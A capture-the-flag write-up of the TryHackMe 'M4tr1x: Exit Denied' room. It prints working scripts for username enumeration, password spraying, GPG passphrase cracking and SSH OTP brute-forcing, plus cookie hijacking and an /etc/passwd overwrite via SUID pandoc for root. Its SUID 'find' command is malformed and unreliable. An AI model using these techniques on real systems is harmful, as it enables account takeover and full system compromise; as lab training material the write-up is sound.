TryHackMe M4tr1x: Exit Denied Boot2Root—Writeup

In this post, I'll walk you through how I tackled the M4tr1x: Exit Denied challenge on TryHackMe. This particular room was a serious test of endurance — it took quite a bit of time and really pushed my patience to the limit. It wasn’t just about technical skill; it required careful observation, trial-and-error, and a lot of persistence. If you're someone who enjoys digging deep and not giving up easily, this one’s for you. Let's dive in and break it down step-by-step.

Reconnaissance

Let's scan for the open ports for potential entry points using Nmap

The open ports are 22, 80, and 3306

Let's navigate to the application

If you'll take a look at the very bottom, you'll see this

Upon inspecting the web application, it's clear that it's built using MyBB (short for MyBulletinBoard) — an open-source forum software commonly used to create and manage online communities.

MyBB is known for its straightforward interface and a rich set of features that make managing forums easier for administrators while also providing a smooth experience for users. It includes tools such as user registration and profile management, private messaging, thread and post moderation, customizable themes and plugins, and robust administrative controls. These features allow site owners to quickly set up a fully functional bulletin board without extensive coding or configuration.

However, because MyBB is a widely used platform, it has also been a frequent target for attackers. Vulnerabilities in outdated versions — especially related to authentication, file uploads, or plugin exploitation — can often be leveraged in CTF challenges or real-world scenarios. For this reason, identifying that the application is using MyBB is an important first step in reconnaissance, as it helps narrow down the potential attack surface and known exploits to investigate.

Enumeration

Let's enumerate the subdirectories using gobuster

At first glance, the presence of /flag and /secret directories definitely catches your attention — tempting, right? But here's the thing: you need to be cautious and control that curiosity. In realistic or more advanced Boot-to-Root (B2R) challenges, especially the harder ones, it's rarely as simple as stumbling upon a flag just by blindly enumerating subdirectories. These kinds of CTFs are designed to test your methodology, not reward lucky guesses. So while it's good to explore, don't expect the obvious to always lead you straight to the prize.

Here's the content of the two subdirectories

See??

Let's dig deeper!

In the challenge description, there's a key hint that says: Follow the white rabbit (Enumerate, Enumerate, Enumerate!)

Let's take a look back at the Home Page and navigate to the Members page and upon checking, I saw a user with a profile of a white rabbit

Follow the white rabbit huh, let's make it literal

I navigate to user Willis's profile and here are the contents:

2,200 posts?? Let's take a look

Looks like we need to have an account in order for us to see Willis's posts

Let's register!

After successful registration, I was redirected directly in my account.

And we saw a 1 post from Willis about Bug Bounty Program, let's take a look.

A subdirectory named /bugbountyHQ is revealed or referenced.

This is the content of the mentioned subdirectory:

A BBP Report Form

But the problem here is that I can't type any input. Well, the reason is clear, it's disabled.

When I click submit, it will send a POST request to /reportPanel.php .

It's just a table of BBP reports. I've read all the reports and it revealed that some users are using weak password. Gaining control of an administrator-level account at this point would significantly work to our advantage.

Is that all? Let's take a look at the source code, maybe something is hidden here.

As I thought, there's a hidden message here.

If you take a look, it seems that the binary here is a subdirectory, let's check:

Huh??? What's this?

I also attempt to convert the Binary to ASCII and this is the output:

That word might be useful, but where??

Upon checking the application, I noticed the URL when I visit a user.

Did you noticed?

The User IDs (UIDs) on this system appear to follow a predictable pattern — they increment by 1 for each new user. This kind of sequential structure creates an opportunity for attackers: it means that by simply iterating through numeric values (e.g., 1, 2, 3, and so on), one can potentially discover all valid user accounts if the application doesn't have protections in place.

This lack of randomness or obfuscation in UID assignment, combined with the absence of proper access controls or error handling, makes user enumeration feasible. By observing how the system responds to each UID (e.g., showing user details or different error messages for valid vs invalid IDs), we can confirm which users exist.

With this information, it becomes practical to automate the enumeration process using a Python script — cycling through UIDs to gather usernames. Once we have a list of valid usernames, we can move on to password spraying — attempting a few common passwords across all accounts in hopes of accessing one without triggering account lockouts.

import requests
from threading import Thread
from time import sleep
from bs4 import BeautifulSoup

def check_user(user_id, base_url):
    response = requests.get(f'{base_url}{user_id}')
    parsed_html = BeautifulSoup(response.text, 'html.parser')

    if 'The member you specified is either invalid or doesn\'t exist.' in parsed_html.get_text():
        return
    else:
        username = parsed_html.title.string[23:]
        output = f'Valid username found - ID: {user_id}, Username: {username}'
        print(output)
        
        with open('valid_users.txt', 'a') as file:
            file.write(f'{output}\n')

def start_scan():
    base_url = 'http://10.10.26.145/member.php?action=profile&uid='
    
    for user_id in range(1, 100):
        thread = Thread(target=check_user, args=(user_id, base_url))
        thread.start()
        sleep(0.02)

if __name__ == "__main__":
    start_scan()

Here's the output:

From there, we can begin performing password spraying attack!

import requests
from threading import Thread
from time import sleep
import re

def attempt_login(base_url, user, pwd):
    session = requests.Session()
    
    response = session.get(base_url)
    key_match = re.search(r'var my_post_key = "([0-9a-f]+)";', response.text)
    post_key = key_match.group(1)
    
    login_payload = {
        'username': user,
        'password': pwd,
        'submit': 'Login',
        'action': 'do_login',
        'url': '',
        'my_post_key': post_key
    }
    
    print(f'Attempting login - User: {user:20s}', end='\r')
    
    login_response = session.post(base_url, data=login_payload)
    
    if 'Please correct the following errors before continuing:' not in login_response.text:
        print(f'Valid credentials found - Username: {user}, Password: {pwd}')

def run_bruteforce():
    target_url = 'http://10.10.26.145/member.php'
    passwords = ['password123', 'Password123', 'crabfish', 'linux123', 'secret', 'piggybank', 
                'windowsxp', 'starwars', 'qwerty123', 'qwerty', 'supermario', 'Luisfactor05', 'james123']
    user_file = 'username.txt'
    
    with open(user_file, 'r') as file:
        for line in file:
            username = line.strip()
            for password in passwords:
                thread = Thread(target=attempt_login, args=(target_url, username, password))
                thread.start()
                sleep(0.5)

if __name__ == '__main__':
    run_bruteforce()

Here's the output:

And two of the users are Moderator, ArnoldBagger and PalacerKing.

After logging in as ArnoldBagger:

We are now Arnold!

I enumerate all the private messages until I found this message:

A subdirectory /devBuilds was mentioned.

Let's visit:

So the plugin is modManagerv2.

I download the modManagerv2 and the p.txt.gpg

this is the content of modManagerv2.plugin:

It was also revealed that p.txt.gpg is an encrypted file containing the MySQL password. Additionally, we discovered a user named mod.

I attempt to crack it using gpg2john and john, but I've failed.

I spent quite a bit of time on this part, trying to figure out how to crack it. I kept asking myself — is there a special wordlist I should be using? Is there some kind of twist or trick involved? What exactly am I missing?

Until I remember the hidden message in the source code earlier. The sequence of numbers.

I decode it using CyberChef and this is the result:

a permutation of only the engish letters will open the locks address

Permutation? Wait, let's examine the sequence of chinese characters in the animation and you will see that there's an english alphabet occuring. What I've did is to check the source code of the binary path and I found this:

Did you noticed, there's an alphabet! All I did is to collect those alphabets

ofqxvg

Maybe we can create a custom GPG password cracker by using the collected letters as a base wordlist, generating all possible combinations or permutations until we eventually find the correct password.

from itertools import permutations
import gnupg

def create_combinations(chars):
    return list(permutations(chars))

def crack_passphrase(combinations, gpg_home, encrypted_file, output_file):
    gpg = gnupg.GPG(gnupghome=gpg_home)

    for combo in combinations:
        passphrase = ''.join(combo)
        print(f'[*] Attempting passphrase: {passphrase}', end='\r')

        with open(encrypted_file, 'rb') as file:
            decryption_result = gpg.decrypt_file(file, passphrase=passphrase, output=output_file)

            if decryption_result.ok:
                print(f'[+] Successful passphrase found: {passphrase}')
                return True

def start_cracking():
    characters = 'ofqxvg'
    combinations = create_combinations(characters)

    gpg_home = '/home/kuroshiro/.gnupg'
    input_file = 'p.txt.gpg'
    output_file = 'decrypted_output.txt'

    crack_passphrase(combinations, gpg_home, input_file, output_file)

if __name__ == '__main__':
    start_cracking()

Here's the output:

Here's the output of decrypted_output.txt

Now that we have the password for the database, let's login as user mod

mysql -h <ip> -u mod -p<password>

Upon exploring the database, I saw this table with a bunch of login_key!

I wonder what is Login Key in MyBB

Based on this documentation, it is used to authenticate user's cookies.

Let's take a look at the cookies of our logged in user.

it contains the exact same login_key that we previously discovered in the MySQL database! On top of that, it also includes a UID, which we've already did earlier while enumerating usernames.

At this point, we can easily hijack to any account!

Upon checking, the user BlackCat is also a moderator and it's included in the database. Now, by knowing his UID which is 7, we can use his UID and combine it with his login key to become user BlackCat.

all we need to do is to save it and refresh the page.

As you can see here, we are now BlackCat!!

Under BlackCat's Manage Attachments, I found this files:

Here's the content of the Releases.txt :

Does that mean the OTP token is based on the system’s current time?

SSH-TOTP documentation.pdf:

Here's the High-Level SSH-TOTP Diagram.png:

This diagram illustrates the OTP (One-Time Password) authentication process between a client and a server, emphasizing time synchronization. Both the client and the server use a shared secret token and their current time to calculate an OTP code. For successful SSH authentication, the OTP generated by the client must match the one generated by the server. The server relies on a virtual time simulator, which can simulate times from various countries (e.g., China, Spain, Russia), and the client must synchronize with this simulated server time. If the OTP codes match, SSH access is granted; if not, access is denied.

Low-Level SSH-TOTP Diagram.png :

This diagram illustrates a custom SSH one-time password (OTP) generation mechanism based on time synchronization, cryptographic operations, and a shared secret token. At the heart of the process is the Shared Secret Token (SST) — a long, unique number known to both the client and the server. This shared secret acts as a seed, ensuring that only parties with the same SST can generate or verify the same OTP.

The system begins by capturing the current virtual times of three simulated locations, referred to as Country A, B, and C. These time values are expressed in a DDHHMM format, representing the day, hour, and minute. For example, 24th day at 13:35 is encoded as 241335. These three timestamps (CA, CB, and CC) are multiplied together to produce a large composite value called the Computed Time Token (CTT). This multiplication step adds entropy and anchors the OTP generation to a precise temporal context, preventing simple time-based predictions.

Once the CTT is calculated, the next phase involves integrating the SST using a bitwise XOR operation. The XOR function combines the CTT and SST to produce an Unhashed Code (UC) — a unique numerical fingerprint for this particular 60-second window. This XORing is a critical cryptographic step because it ensures that the final result cannot be derived without the correct SST, even if the time values are known.

The UC is then passed through the SHA-256 hashing algorithm, transforming it into a 256-bit (or 64-character hexadecimal) Hashed Code (HC). This one-way hashing process adds another layer of security, making it practically impossible to reverse-engineer the UC or SST from the hashed value. After hashing, the output is truncated — typically by extracting a portion of the hexadecimal string — to create a shorter, usable OTP. This final truncated result becomes the SSH OTP code that the user presents for authentication.

Crucially, the entire process is governed by a time-check mechanism. The OTP remains valid only for 60 seconds. Once that period passes, the current time values are updated, which triggers a recomputation of the CTT and consequently changes the final OTP. This ensures time sensitivity and mitigates replay attacks.

Mathematically, the process combines multiplicative entropy (through the time multiplication), cryptographic mixing (via XOR), and cryptographic hashing (via SHA-256), followed by truncation to produce a compact, secure, and time-bound OTP. It’s a layered approach that ensures the code changes frequently, cannot be predicted without the shared secret, and cannot be reverse-engineered due to strong hashing.

hardwareToken.jpg :

Next thing I did is to unzip the 2 zip files, the testing.zip and DevTools.zip .

Inside testing.zip is a png file.

A collection of 3 Shared Secret Tokens and a username Architect

Inside DevTools.zip is a 2 Python scripts.

ntp_syncer.py

from time import ctime
import ntplib

import time
import os

try:
    import ntplib
    client = ntplib.NTPClient()
    response = client.request('10.10.26.145') #IP of linux-bay server
    print(response)
    os.system('date ' + time.strftime('%m%d%H%M%Y.%S',time.localtime(response.tx_time)))
except:
    print('Could not sync with time server.')

print('Done.')

Here's the output:

TimeSimulator.py

from datetime import datetime, timedelta
import time
import subprocess
from hashlib import sha256

#shared secret token for OTP calculation
sharedSecret = 0

def TimeSet(country, hours, mins, seconds):
    now = datetime.now() + timedelta(hours=hours, minutes=mins)
    #time units: day, hour, minutes
    CurrentTime = int(now.strftime("%d%H%M"))
    print(country+' =')
    print((now.strftime("Time: %H:%M:%S")))
   
    OTP = (int(CurrentTime)) 
    
    # hash OTP
    hash = (sha256(repr(OTP).encode('utf-8')).hexdigest())
    truncatedOTP = hash[22:44]
    # truncate OTP
    print('OTP: ' + truncatedOTP)

while True:
    print('---------------------------------')
    print('Virtual Time Simulator Alpha 1.5 ')
    print('---------------------------------')
    print('     Updates every minute:       ')
    print('---------------------------------')
    TimeSet('Ukraine', 4, 43, 0)
    print('\n')

    TimeSet('Germany', 13, 55, 0)
    print('\n')

    TimeSet('England', 9, 19, 0)
    print('\n')
    
    TimeSet('Nigeria', 1, 6, 0)
    print('\n')
    
    TimeSet('Denmark', -5, 18, 0)
    
    # keep checking every second - for each passing minute, change OTP code
    time.sleep(1)
    subprocess.call("clear")

Here's the output (The OTP change every minute):

Looks very complex right?

Take a look back at the diagrams and do some Math, here's how it works.

  1. The Computed Time Token (CTT) is calculated by multiplying the current times of Country A (CA), Country B (CB), and Country C (CC) together.

  2. Next, the Unhashed Code (UC) is generated by performing an XOR operation between the Computed Time Token (CTT) and the Shared Secret Token (SST).

  3. Finally, the Unhashed Code (UC) is passed through a SHA-256 hashing function to generate the Hashed Code (HC). This hashed output is then truncated to a fixed length to produce the final One-Time Password (OTP).

With this enough informations, we can make a Python script that will Capture the correct OTP for architect user.

from datetime import datetime, timedelta
from hashlib import sha256
import random
from paramiko import SSHClient, AutoAddPolicy, AuthenticationException, ssh_exception
import os
import ntplib

class OTPAttackEngine:
    def __init__(self, token1, token2, token3, target_ip):
        self.token1 = token1
        self.token2 = token2
        self.token3 = token3
        self.target_ip = target_ip
        self.secret_tokens = [token1, token2, token3]

    def configure_timezone(self):
        try:
            print('[*] Switching timezone to UTC')
            print('[*] Current timezone:')
            os.system('sudo timedatectl --value')
            os.system('sudo timedatectl set-timezone UTC')
            print('[+] Timezone updated successfully')
        except:
            print('[-] Failed to set timezone to UTC')

    def synchronize_time(self):
        try: 
            ntp_client = ntplib.NTPClient()
            ntp_client.request(self.target_ip)
            print('[+] Time successfully synced with server')
        except:
            print('[-] Failed to synchronize with the NTP server')

    def calculate_time_offset(self, region, hour_offset, min_offset, sec_offset):
        adjusted_time = datetime.now() + timedelta(hours=hour_offset, minutes=min_offset)
        formatted_time = int(adjusted_time.strftime("%d%H%M"))
        return formatted_time
       
    def generate_otp(self):
        time_a = self.calculate_time_offset('Ukraine', 4, 43, 0)
        time_b = self.calculate_time_offset('Germany', 13, 55, 0)
        time_c = self.calculate_time_offset('England', 9, 19, 0)
        time_d = self.calculate_time_offset('Nigeria', 1, 6, 0)
        time_e = self.calculate_time_offset('Denmark', -5, 18, 0)

        selected_times = random.sample([time_a, time_b, time_c, time_d, time_e], 3)
        combined_time_token = selected_times[0] * selected_times[1] * selected_times[2]

        xor_result = combined_time_token ^ random.choice(self.secret_tokens)
        hashed_result = sha256(repr(xor_result).encode('utf-8')).hexdigest()
        otp_final = hashed_result[22:44]

        return otp_final

    def attempt_ssh_login(self, username, otp_password):
        print(f'[*] Attempting OTP: {otp_password}', end='\r')
        ssh_handler = SSHClient()
        ssh_handler.set_missing_host_key_policy(AutoAddPolicy())
        try:
            ssh_handler.connect(self.target_ip, username=username, password=otp_password, banner_timeout=300)
            return True
        except AuthenticationException:
            pass
        except ssh_exception.SSHException:
            print('[*] SSH rate limiting in effect, retrying...')

def runner():
    token1 = 128939448577488
    token2 = 592988748673453
    token3 = 792513759492579
    target_ip = '10.10.26.145'
    
    attack_engine = OTPAttackEngine(token1, token2, token3, target_ip)

    attack_engine.configure_timezone()
    attack_engine.synchronize_time()

    ssh_user = 'architect'
    while True:
        otp = attack_engine.generate_otp()
        if attack_engine.attempt_ssh_login(ssh_user, otp):
            print(f'[+] Success! Credentials: {ssh_user}:{otp}')
            break

if __name__ == '__main__':
    runner()

Run and after a little bit of time, we will correctly capture the correct OTP for architect.

Remember, as soon as you obtain the valid OTP, you should immediately attempt the SSH login—since the OTP refreshes every 60 seconds and will soon become invalid.

After logging in to SSH:

user flag!

There's another file named helloVisitor.txt

Okay?

Next thing I did is to check the SUID Binaries:

find / -type -04000 2>/dev/null

Noticed something??? The /usr/bin/pandoc.

If we will go to the GTFobins, We'll see a privilege escalation technique using pandoc:

With the information we've gathered, we now have the ability to modify the /etc/passwd file and insert a new user entry with root privileges.

Here's what we can do, first let's copy the /etc/passwd to /tmp.

cp /etc/passwd /tmp

Next, we'll modify the duplicated passwd file and add a new user with root privileges.

First, let's generate a hash using openssl.

openssl passwd kuroshiro

Next thing is we will add this generated hash to the duplicated passwd file.

kuro:$1$yK9fBU9j$/O6ElpAfqoq4mCHg54bxM.:0:0:kuro:/root:/bin/bash

Save and the next thing we will do is to execute this command

cat /tmp/passwd | /usr/bin/pandoc -t plain -o /etc/passwd

What's this command and what it does?

It reads the contents of a modified password file /tmp/passwd and uses pandoc, a document converter, to output that content as plaintext into the critical system file /etc/passwd. Although pandoc is typically used for document format conversion, here it is misused as a tool to overwrite /etc/passwd, potentially allowing an attacker to insert a new root-level user or manipulate system login information. This is a suspicious command often seen in privilege escalation or persistence attacks, and its execution could compromise the entire system.

All we need to do is to switch to the user that we specify:

su kuro

Here we go—we've gained root access! However, there's a catch: the root flag isn't in the root user's directory, so our task isn't finished just yet.

We'll use the find command to locate the exact location where the flag is hidden.

find / -name "*root*" 2>/dev/null

The output is massive but this one caught my attention:

Let's check that Python file's content:

from progress.bar import FillingSquaresBar
import time

print('''
$ > REQ> Source: Matrix v.99; Destination: Real world;
$ > EXIT GRANTED;
$ > Exiting Matrix... Entering real world... Please wait...
''')
key = 82
flag = (9087 ^ 75 ^ 90 ^ 175 ^ 52 * 13 * 19 - 18 * 2 + key)

bar = FillingSquaresBar(' LOADING...', max=24)
for i in range(24):
    time.sleep(1)
    # Do some work
    bar.next()
bar.finish()
print('\nFlag{R3ALw0r1D'+str(flag)+'Ez09WExit}') 
print("\nMorpheus: Welcome to the real world... Now... Let's begin your real training...\n")

The flag is just XORed, that's all. To solve this and get the full part of the flag, here's what we can do.

We've got the root flag!

Another flag is missing, the web flag.

Upon checking the /etc directory once again, I noticed this:

Let's check its content

Here's the solution to get the ACP PIN:

Now we can login in myBB's admin panel /admin

After logging in, here's the result:

Web flag!

We've successfully solved M4tr1x!!!!

This challenge was quite demanding and took a significant amount of time to work through, but the experience was absolutely worthwhile. It tested not only your technical proficiency in writing custom exploits but also your ability to analyze systems and behaviors with precision. From simulating time-based OTPs to manipulating critical system files like /etc/passwd, every step required a deep understanding of how Linux authentication works and how to exploit misconfigurations effectively. Overall, it was a comprehensive exercise in both creative thinking and practical offensive security techniques, making it an invaluable learning opportunity for anyone diving deeper into advanced privilege escalation and system exploitation.

Last updated